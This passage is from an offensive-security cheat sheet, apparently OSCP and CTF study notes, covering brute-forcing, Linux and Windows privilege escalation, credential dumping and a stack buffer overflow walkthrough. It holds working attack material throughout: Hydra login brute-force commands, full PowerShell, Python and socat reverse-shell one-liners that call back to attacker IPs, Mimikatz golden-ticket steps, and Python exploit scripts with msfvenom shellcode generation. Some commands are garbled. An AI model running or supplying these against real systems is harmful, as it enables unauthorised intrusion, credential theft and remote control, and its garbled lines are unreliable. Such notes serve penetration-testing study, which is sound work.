Gobuster (dir buster)	⚡ gobuster dir -u http://10.10.203.157:3333/ -w /usr/share/wordlists/dirb/common.txt	Python server to transfer files from local to remote	wget http://<ur-ip>:<port>/<file>
Processes running (under which user)	ps aux	Extract zip	7z e <zip_name.zip>
SUID (set owner userld upon execution) binary	find / -perm -u=s -type f 2>/dev/null Instead of rwx -> rws. Example - the suid bit is set on binary file password as other user should be able to change their password but the user won't have direct access to that file So it has root privileges		



### Linux Commands (cont)

Crack Zip locate zip2john  
zip2john <zipfile> > output.txt  
john output.txt  
fcrackzip -u backups.zip -D -p /usr/share/wordlists/rockyou.txt -v

Move mv file1 file2 folder\_name  
multiple to directory

Fuzz wfuzz -c -w common.txt --sc 200 -u "http://10.10.10.19-1/FUZZ.txt" -t 100  
wfuzz -z file,big.txt -d "breed=FUZZ" -u http://shibes.xyz/api.php

Find flags find / -type f -name 'user.txt' 2>/dev/null .txt

Hydra hydra -L usernames.txt -P passwords.txt 192.168.2.62  
(brute http-post-form "/dvwa/login.php:username=<sup>USER</sup>&password=<sup>PASS</sup>&Login=Login:Login Failed"  
force http ⚡ Specify the error at login failed  
post form)

Hydra hydra -l ftpuser -P passlist ftp://10.10.50.55  
(brute force FTP)

FTP hydra -l chris -P /usr/share/wordlists/rockyou.txt -vV  
bruteforce ftp://10.10.91.104

### Linux Commands (cont)

POP3 bruteforce ⚡ hydra -l "boris" -P /usr/share/wordlists/fastrack.txt -f 10.10.186.225 -s 55007 pop3 -V

John the ripper (crack ssh) VIA (private key pass bruteforce) ⚡ python /usr/share/john/ssh2john.py codes > crack.txt  
⚡ john --wordlist=/root/Downloads/rockyou.txt crack.txt

ssh (login through private key) ⚡ ssh -i codes david@10.10.10.165 -p 22

SSH bruteforce for password ⚡ hydra -f -l john -P list ssh://10.10.2-4.200

Bruteforce JPG for hidden data (steghide pass) ⚡ stegcracker file list.txt

TELNET interacting with POP3 ⚡ Connect to the mail server using Telnet with the IP or DNS name of the server on port 110  
⚡ TELNET commands

PNG magic number & Hexedit ⚡ 89 50 4E 47 0D 0A 1A 0A  
⚡ hexedit <file>  
⚡ hexedit ctrl+x - to save

Mysql cheatsheet ⚡ MySQL Commands  
⚡ Use ; to terminate the mysql line

Find a specific file with readable permission ⚡ find / -type f -readable 2>/dev/null | grep README.txt



By [blacklist\\_](https://blacklist_.via.cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://blacklist_.via.cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 20 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
[http://crosswordcheats.com](https://crosswordcheats.com)

### Linux Commands (cont)

Sudo -l execution ⚡ (sly) /bin/cat /home/sly/README.txt  
⚡ sudo -u sly /bin/cat /home/sly/README.txt  
⚡ So you can see the user was able to execute that command. We have to use sudo specify <usr> <binary path> <file> to execute

Nmap scanning working ⚡ if u do this nmap -sC -sV -Pn ip, you can see result if u do specifically -p 1-100, it will show their info, because they all are open

To only grab banners ⚡ nmap -p 1-100 <IP> --script banner  
⚡ Telnet is communication tool, it gets the banner or the protocol info like if its http, it shows http info, if it is ssh, it shows ssh rsa info

Escape shells via programming ⚡ Escaping shell via programming like ruby irb(main)

<https://mzfr.github.io/linux-priv-esc>

<https://linuxize.com/post/how-to-use-linux-ftp-command-to-transfer-files/>

<https://www.hostingmanual.net/zipping-unzipping-files-unix/>

### GTFOBins

Usage Syntax

Vim Text Editor <https://gtfobins.github.io/gtfobins/vim/>

Service Exploitation ⚡ Exploiting any service which is running as root  
⚡ Also provide the file path to the service's executable

To exploit a service Execute it for example <path\_to\_the\_service>->  
⚡ /usr/bin/sudo /usr/bin/journalctl -n5 -unostrono.s-service  
⚡ You can get this from GTFOBins but need to find out path

/systemctl (suid but set) ⚡ service is an "high-level" command used for start, restart, stop and status services in different Unixes and Linuxes.  
⚡ Service is adequate for basic service management, while directly calling systemctl give greater control options.  
⚡ Our target system allows any logged in user to create a system service and run it as root!

Sudo -l sudo -l show you what exact command you are authorized to use

C

By [blacklist\\_](https://cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 21 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### GTFOBins (cont)

(ALL, !root) The !root is a cve vulnerability which can be exploited through

NOPASSWD: /usr/bin/vi ⚡ sudo -u#-1 <path\_where\_user\_can\_execute\_sudo\_command>

If sudo -l specifies Vim ⚡ Use esc and then :! as we are going to type a system command and then we specify executable sh (:!sh)

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

### Windows Enumeration

Command	Usage
Biggest Enumeration Hint	⚡ his is going to sound like .im being disingenuous, but you need to learn how to figure things out. Each machine might require a tool you haven't even heard of yet, but you have to figure that part out. Knowing what and how to Google is arguably the most valuable skill.
Hint - Users	⚡ names are impotent! might be subdomain or read understand might be username passwd

### Windows Enumeration (cont)

Hint - ⚡ The service at the starting off the box can be later on checked for conf or file for username passwd

Finding the right file

Github - working ⚡ Create branch ⚡ Now push file into that branch ⚡ Click on the uploaded file and PULL request ⚡ Complete pull request is same as Commit ⚡ Approve and Complete the Merge

Active Directory ⚡ TryHackMe Room ⚡ A Windows Domain allows management of large computer networks ⚡ They use a Windows server called a DC (domain controller) ⚡ A DC is any server that has Active Directory domain services role ⚡ DC respond to authentication requests across the domain ⚡ DCs have the tool AD (active directory) and GP (group policy) ⚡ AD contains objects and OUs (Organizational Units) ⚡ GP contains GPOs (Group Policy objects) that manage settings for AD objects

Netbios port 137 ⚡ Hacktrick enumeration

C

By [blacklist\\_](https://blacklist_.via.cheatography.com/blacklist/)  
cheatography.com/blacklist/

Not published yet.  
Last updated 27th February, 2021.  
Page 22 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Windows Enumeration (cont)

SMB port 139	⚡ smbclient -L <ip> - yields information such as sharename and its type
SVN PORT NO - 3690 and its simply Version Tracking With Subversion (SVN)	⚡ First view the log ⚡ svn log svn://worker.htb/ ⚡ Now you can view the difference between those commits ⚡ svn diff svn://htb/ -r 2
Subversion Commands	<a href="http://www.yolinux.com/TUTORIALS/Subversion.html#SVNPROPERTIES">http://www.yolinux.com/TUTORIALS/Subversion.html#SVNPROPERTIES</a>
SVN	⚡ Subversion cannot find a proper .svn directory in there.
Reverse shells	<a href="https://hackersinterview.com/0-scp/reverse-shell-one-liners-0-scp-cheatsheet/">https://hackersinterview.com/0-scp/reverse-shell-one-liners-0-scp-cheatsheet/</a>

### Windows Enumeration (cont)

Powershell reverse shell	<pre>powershell -nop -c "\$client = New-Object System.Net.Sockets.TCPClient('192.168.1.2',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535 %{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2&gt;&amp;1   Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '&gt; ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush();\$client.Close()"</pre>
Windows interactive shell (ASPX Shell by LT)	<a href="https://github.com/xl7dev/WebShell/blob/master/ASpx/ASPX%20Shell.aspx">https://github.com/xl7dev/WebShell/blob/master/ASpx/ASPX%20Shell.aspx</a>

C

By [blacklist\\_](https://blacklist_.cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://blacklist_.cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 23 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Windows Enumeration (cont)

Dumping passwords and hashes on windows ⚡ This most probably requires administrative permissions. Windows stores passwords in SAM - Security Account Manager. Passwords are stored differently depending on the operating system.

⚡ There are 2 Authentication mechanism that produce 2 Hashes - LM LAN Manager (LM) and NT LAN Manager (NTLM) > VISTA.

⚡

### Windows Enumeration (cont)

Credential Dumping: (tools) ⚡ The Security Accounts Manager (SAM) is a registry file in Windows NT and later versions until the most recent Windows 8. It stores users' passwords in a hashed format (in LM hash and NTLM hash). Since a hash function is one-way, this provides some measure of security for the storage of the passwords.

⚡ SAM is found in C:\Windows\System32\config and passwords that are hashed and saved in SAM can found in the registry, just open the Registry Editor and navigate yourself to HKEY\_LOCAL\_MACHINE\SAM.

⚡ Windows 7 - SamDump2, PwDump7, Metasploit framework

⚡ Windows 10 - Mimikatz, Impacket, Metasploit Framework - Hashdump and load\_kiwi(mimikatz)

⚡ The Registry is essentially a database. Its information is stored on disk for the most part, though dynamic information also exists in the computer's memory

C

By [blacklist\\_](#)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 24 of 34.

Sponsored by [CrosswordCheats.com](#)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>



### Windows Priv. Esc. || Metasploit Module

Name	Usage
Microsoft Remote Desktop (MSRDP)	Port no - 3389
Local Security Authority Subsystem Service	<ul style="list-style-type: none"> <li>⚡ Isass service</li> <li>⚡ The service responsible for authentication within Windows.</li> <li>⚡ We generally infect a process with the migrate command in metasploit to infect a process that can communicate with Isass.exe and has permissions that are needed to interact</li> </ul>
To exploit Isass we need to be (living in) Same permissions	<ul style="list-style-type: none"> <li>⚡ In order to interact with Isass we need to be 'living in' a process that is the same architecture as the Isass service (x64 in the case of this machine) and a process that has the same permissions as Isass.</li> </ul>
Printer service	<ul style="list-style-type: none"> <li>⚡ spoolsv.exe</li> <li>⚡ The printer spool service</li> </ul>

### Windows Priv. Esc. || Metasploit Module (cont)

Living in as a process	<ul style="list-style-type: none"> <li>⚡ Often when we take over a running program we ultimately load another shared library into the program (a dll) which includes our malicious code. From this, we can spawn a new thread that hosts our shell.</li> </ul>
msfconsole >> search <Program/-Process>	Fire up msfconsole terminal and search for vulnerable exploit of a program or process
Select a exploit	<ul style="list-style-type: none"> <li>⚡ Select using #use &lt;no&gt;</li> <li>⚡ Remember to use #search options command and set them accordingly</li> </ul>
Fire the exploit	<ul style="list-style-type: none"> <li>⚡ #run them after setting up options</li> </ul>
Metasploit command center	<ul style="list-style-type: none"> <li>⚡ #getuid (user-id)</li> <li>⚡ #sysinfo</li> <li>⚡ #getprivs</li> <li>⚡ #migrate -N PROCESS_NAME</li> </ul>

C

By [blacklist\\_](https://blacklist_.cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://blacklist_.cheatography.com/blacklist/)

Not published yet.  
 Last updated 27th February, 2021.  
 Page 25 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
 Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Windows Priv. Esc. || Metasploit Module (cont)

**Local\_** ⚡ A remote exploit works over a network and exploits exploit V/S the security vulnerability without any prior access to Remote\_ex- the vulnerable system. A local exploit requires prior exploit access to the vulnerable system and usually increases the privileges of the person running the exploit past those granted by the system administrator.

**Local\_** ⚡ run post/multi/recon/local\_exploit\_suggester exploit ⚡ Results for potential escalation exploits. (metasploit) ⚡ Local exploits require a session to be selected

**Background** ⚡ #background a session ⚡ This provides us with a session number which can (some be used in combination with another exploit to privilege) escalate privileges

**Mimikatz** ⚡ #load kiwi (Kiwi is the updated version of Mimikatz) (password load kiwi (Kiwi is the updated version of Mimikatz) dumping ⚡ Expanded the options use #help to view them tool)

### Windows Priv. Esc. || Metasploit Module (cont)

**Mimikatz** allows us to create what's called a golden ticket, allowing us to authenticate anywhere with ease. ⚡ golden\_ticket\_create ⚡ Golden ticket attacks are a function within Mimikatz which abuses a component to Kerberos (the authentication system in Windows domains), the ticket-granting ticket. In short, golden ticket attacks allow us to maintain persistence and authenticate as any user on the domain.

**Windows NTLM** hashcat -a 0 -m 1000 crack.hash /usr/share/w-hash crack ordlists/rockyou.txt

### Privilege escalation

Usage	Syntax
-------	--------

Fast	⚡ uname - a ⚡ id ⚡ sudo - l ⚡ etc/crontab ⚡ suid
Linux	⚡ linpeas ⚡ linux-exploit-suggestor ⚡ pspy ⚡ netstat
Priv. Esc	⚡ capabilities ⚡ search dir for juice ⚡ use ps -aux
Checklist	grep root to look at any services that are running as root. ⚡ Password Spray ⚡ Config files of service running might leak creds

**C** make <.c program> then ./ to execute program

C

By [blacklist\\_](https://blacklist_.via.cheatography.com/blacklist/)  
cheatography.com/blacklist/

Not published yet.  
Last updated 27th February, 2021.  
Page 26 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Privilege escalation (cont)

SCP (secure copy files) from local to remote machine

```
scp <filename> username@ip:<location>
```

Python server

```
python3 -m http.server
```

Unix info about your specific Linux distribution

```
lsb_release -a
uname -a
```

Use echo "text" into file

```
echo "text" > output.txt
```

Python reverse shell with newline char

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.157",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

View Cronjobs

```
cat /etc/crontabs
```

Exploiting sudo -l user  
NOPASSWD:  
ALL

### Privilege escalation (cont)

Sudo knowledge

- ⚡ su asks for the password of the user "root".
- ⚡ sudo asks for your own password (and also checks if you're allowed to run commands as root, which is configured through /etc/sudoers -- by default all user accounts that belong to the "admin" or "sudo" groups are allowed to use sudo).
- ⚡ sudo -s launches a shell as root, but doesn't change your working directory. sudo -i simulates a login into the root account: your working directory will be /root, and root's .profile etc. will be sourced as if on login.

Sudo -l (exploiting sudo rights)

- ⚡ Super User Do root privilege task
- ⚡ <https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/>

After SSH 



By [blacklist\\_](https://cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 27 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Privilege escalation (cont)

id ⚡ id command in Linux is used to find out user and group names and numeric ID's (UID or group ID) of the current user or any other user in the server

id shows 108(lxd) ⚡ LXD privilege escalation

Weak File Permission `ls -l <file>` : Check Permissions

Readable /etc/shadow ⚡ Crack the passwd, SHA-512

Writeable /etc/shadow ⚡ Create and replace the passwd, `mkpasswd -m sha-512 newpasswordhere`

Writeable /etc/passwd ⚡ Create and replace the passwd, `openssl passwd newpasswordhere`

`.sudo_as_admin_` ⚡ Means that the user can run something as root  
`admin_` ⚡ Check SUID and Sudo -l ⚡ Refer to checklist  
successful

### Privilege escalation (cont)

Socat ⚡ We can use socat to send ourselves a root shell.  
(more powerful version of nc) ⚡ Attacking machine: `socat file:tty,raw,echo=0 tcp-listen:1234`  
⚡ Remote machine: `sudo socat tcp-connect:<your-ip-address>:1234 exec:bash,pty,stderr,setsid,sigint,sane`  
⚡ Socat Reverse shell as root  
⚡ <https://www.maritimecybersecurity.center/linux-for-pentester-socat-privilege-escalation/>

Reverse shell (one-liners) ⚡ Reverse shell - 1)Bash-running linux, 2)Python, 3)Nc, 4)PHP  
⚡ Reverse shell Script

Linux Privilege Escalation Checklist ⚡ Guide to follow if stuck

Linux Priv Esc ⚡ Kernel exploits : `uname -a` ⚡ Execute command as root : `Sudo -l` ⚡ Find binary we can execute as root : SUID ⚡ check cronjobs , monitor linux system : PSPY64

C

By [blacklist\\_](https://cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 28 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Privilege escalation (cont)

Few things to remember ⚡ If root is executing a File and we can access that file then we can get a reverse shell, Mostly cron jobs can be exploited like this OR if you can execute the file as root but cant write it then delete it and execute to get a reverse shell

Linux Priv Esc via Capability (getcap) ⚡ To identify if it exist type `getcap -r / 2>/dev/null`

C

By [blacklist\\_](#)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 29 of 34.

Sponsored by [CrosswordCheats.com](#)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Buffer Overflows (OSCP procedure)

Steps	Commands
References <input type="checkbox"/>	<ul style="list-style-type: none"> <li>⚡ Cybermentor BoF Notes</li> <li>⚡ Buffer Overflow Guide</li> </ul>
1. SPIKING   Testing commands to find vulnerable	<ul style="list-style-type: none"> <li><input type="checkbox"/> We are trying to test multiple commands and try to find what's vulnerable.</li> <li>⚡ For ex for TRUN function</li> <li>⚡ <code>~(root@Kali)-[~/Koth]</code></li> <li>⚡ <code>└─# cat spike.spk</code></li> <li>⚡ <code>s_readline();</code></li> <li>⚡ <code>s_string("TRUN ");</code></li> <li>⚡ <code>s_string_variable("0");</code></li> <li>⚡ Attacking Machine</li> <li>⚡ <code>nc -nv 10.0.2.14 9999</code></li> <li>⚡ <code>generic_send_tcp 10.0.2.14 9999 spike.spk 0 0</code></li> <li>⚡ Lookout for Buffer Overflow in Registers</li> </ul>

### Buffer Overflows (OSCP procedure) (cont)

2.  We will now go ahead and attack that command specifically in FUZZING ⚡ When The Registers Gets Crashes and we see TRUN being affected

Crash The Application ⚡ We will stop the exploit via ctrl+c to stop it and we will get an estimate of at what bytes the TRUN got affected

⚡ Like its 2800 bytes -> we can round off and make it 3000

```
#!/usr/bin/python
import sys, socket
from time import sleep
buffer = 'A' * 100
while True:
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('10.0.2.14',9999))
        s.send(('TRUN ./.' + buffer))
        s.close()
        sleep(1)
        buffer = buffer + 'A' * 100
    except:
        print( " Fuzzing crashed at %s bytes" %
            str(len(buffer)))
        sys.exit()
```

- ⚡ Goal : Is to know approximately to know where we crashed at, what bytes
- ⚡ Once it break print out an exception, Fuzzing crashed at X bytes
- ⚡ Now we will be finding where the EIP is at, we are gonna use a tool

C

By [blacklist\\_](https://cheatography.com/blacklist/)  
cheatography.com/blacklist/

Not published yet.  
Last updated 27th February, 2021.  
Page 30 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Buffer Overflows (OSCP procedure) (cont)

3.  First we will use pattern\_create msf tool we created  
 FINDING 3000 bytes , then run exploit.py. After that we will use  
 THE pattern\_offset by specifying the value of EIP which will  
 OFFSET be within those 3000 bytes To grab the offset  
 | Find  
 EIP

⚡ **Tool : Pattern Create** /usr/share/metasploit-framework/tools/pattern\_create.rb -l 3000

```
#!/usr/bin/python import sys, socket
offset = (' ')
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.14', 9999))
s.send(('TRUN ./.' + offset))
s.close()
except:
print(" Error Connecting to the Server ")
sys.exit()
```

⚡ **Tool : Pattern Offset** pattern\_offset.rb -l 3000 -q  
 <VALUE /FINDING> from EIP

⚡ **Goal:** This offset information is critical because now we know that at this byte we can control the EIP, We will overwrite it with specific bytes

⚡ This offset information is critical because now we know that at this byte we can control the EIP,

⚡ Now we will overwrite it with specific bytes

### Buffer Overflows (OSCP procedure) (cont)

4. OVERWRITING THE EIP | Control ESP  We discovered that the offset is at 2003 bytes,  
 ⚡ It means there are 2003 bytes right before, EIP begins

```
#!/usr/bin/python
import sys, socket
shellcode = 'A' * 2003 + 'B' * 4
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.14', 9999))
s.send(('TRUN ./.' + shellcode))
s.close()
except:
print(" Error Connecting to the Server")
sys.exit()
```

⚡ **Goal :** Control this EIP now

⚡ TRUN got filled with a bunch of As

⚡ EBP, bottom is filled with 41414141

⚡ EIP, return is filled with 42424242

⚡ Now, we only sent bytes of Bs and they all landed up in EIP



### Buffer Overflows (OSCP procedure) (cont)

5. FINDING THE BAD CHARACTERS in HexDump, Note them & x00 is a bad char
- ⚡ Manually Identify Bad Chars
- After running the script, EIP will be same 4242 but we will work on Hexdump to find bad guys.
- ⚡ Sequence Flow : 1-9 -> a-f -> 10-19 -> 1a-1f -> 20-29 -> 2a-2f
  - ⚡ Add string with badchar + "blacklist" To identify End of Buffer

```
#!/usr/bin/python
import sys, socket
badchar = ("\x01\xff") #all bad char will be sent
shellcode = 'A' * 2003 + 'B' * 4 + badchar
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.14', 9999))
s.send(('TRUN ./.' + shellcode))
s.close()
except:
print("Error Connecting to the Server")
sys.exit()
```

```
x
01 - 09 20 - 29 40 - 49 60 - 69 80 - 89
0a - 0f 2a - 2f 4a - 4f 6a - 6f 8a - 8f
10 - 19 30 - 39 50 - 59 70 - 79 90 - 99
1a - 1f 3a - 3f 5a - 5f 7a - 7f 9a - 9f
x
a0 - a9 c0 - c9 e0 - e9
aa - af ca - cf ea - ef
b0 - b9 d0 - d9 f0 - f9
ba - bf da - df fa - ff
x
```

### Buffer Overflows (OSCP procedure) (cont)

- ⚡ Goto HexDump, by Right click ESP (top) in register > Follow Dump > Ok
- ⚡ We will go through this whole list
- ⚡ We see if there is anything out of place now
- ⚡ We got 01 02 03 ..B0.. ..B0.. B6 B7 B8. We have B4 and B5 Missing -> Those are Bad Characters
- ⚡ This is EYE TEST, We Need to make sure we find everything, which is out of place

6. FINDING THE RIGHT MODULE | Find JMP ESP
- Goal : To find a JMP ESP that we will use to tell the application to execute our code.
  - ⚡ mona modules > Select all with False, means no memory protection in this module

```
!mona modules
nasm_shell -> JMP ESP
!mona find -s "\xf f\x e4" -m essfun c.dll
⚡ rclick on panel > search for the return address we found
⚡ It will have JMP ESP & FFE4 location
⚡ F2 > Put a break point
```





### Buffer Overflows (OSCP procedure) (cont)

```
#!/usr /bin/python
import sys, socket
#625011AF
shellcode = 'A' * 2003 + '\xaf\x11\x50\x62'
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.2.14',9999))
s.send (('TRUN ./.' + shellcode))
s.close()
except:
print( " Error Connecting to the Server")
sys.exit()
```

- Finally, we were able to provide EIP an valid return address JMP ESP where it can point to in the memory
- ⚡ Ran our script with that Pointer address, affecting directly EIP area
- ⚡ Changed EIP return address - DONE!

7. GENERATING SHELLCODE

□ Our EIP will point to the JMP ESP, which will run our malicious shellcode and give us root (hopefully).

```
msfvenom -p windows/s/sHELLCODE -rse_tcp LHOST= 10.0.2.5 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
```

```
#!/usr /bin/python
import sys, socket
overflow = ("Inside this malicious shellcode ")
shellcode = 'A' * 2003 + '\xaf \x11 \x50 \x62' + '\x90' * 32 + overflow
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.2.14',9999))
s.send (('TRUN ./.' + shellcode))
s.close()
except:
print( " Error Connecting to the Server ")
sys.exit()
```

### Buffer Overflows (OSCP procedure) (cont)

- Shellcode need 4 things
- ⚡ 1. The exact number of bytes to crash (Crash Point)
- ⚡ 2. The value of the JMP ESP that will instruct the application to execute our code (Return Address)
- ⚡ 3. Padding (No-op)
- ⚡ 4. shellcode to grab reverse shell

8. ROOT Exploit C.

- ⚡ Check real-time protection is off & Antivirus while playing with this method
- ⚡ \x41, \x42, \x43 - The hexadecimal values for A, B and C.

#### ⚡ Anatomy of Stack : EBEE

- ⚡ ESP (Extended Stack Pointer) : Its at the TOP
- ⚡ Buffer Space : Fills and goes downward, should stop before EBP & EIP
- ⚡ EBP (Extended Base Pointer) : Its at the BOTTOM
- ⚡ EIP (Extended Instruction Pointer) : Its the Return Address

- ⚡ ESP ⚡ The Extended Stack Pointer (ESP) is a register that lets you know where on the stack you are and allows you to push data in and out of the application.



### Buffer Overflows (OSCP procedure) (cont)

- ⚡ EIP ⚡ Its the Return Address, and we can use this address to point to directions. It can be malicious code to gain reverse shell
  - ⚡ The Extended Instruction Pointer (EIP) is a register that contains the address of the next instruction for the program or command.
- ⚡ JMP ⚡ The Jump (JMP) is an instruction that modifies the flow of execution where the operand you designate will contain the address being jumped to.

- 1 Spiking : Method to find the vulnerable part of the program
- 2 Fuzzing : We will send a bunch of characters to the program to check if it breaks it
- 3 Finding the Offset : If we break it, we want to find out the point at which we break it
- 4 Overwriting the EIP : We will use that offset to override the EIP, that pointer address can be controlled
  - + EIP controlled, 2
- \* 5 Finding Bad Character
- \* 6 Finding the Right Module
- 7 Generating Shellcode
  - + Root



By [blacklist\\_](https://cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 34 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>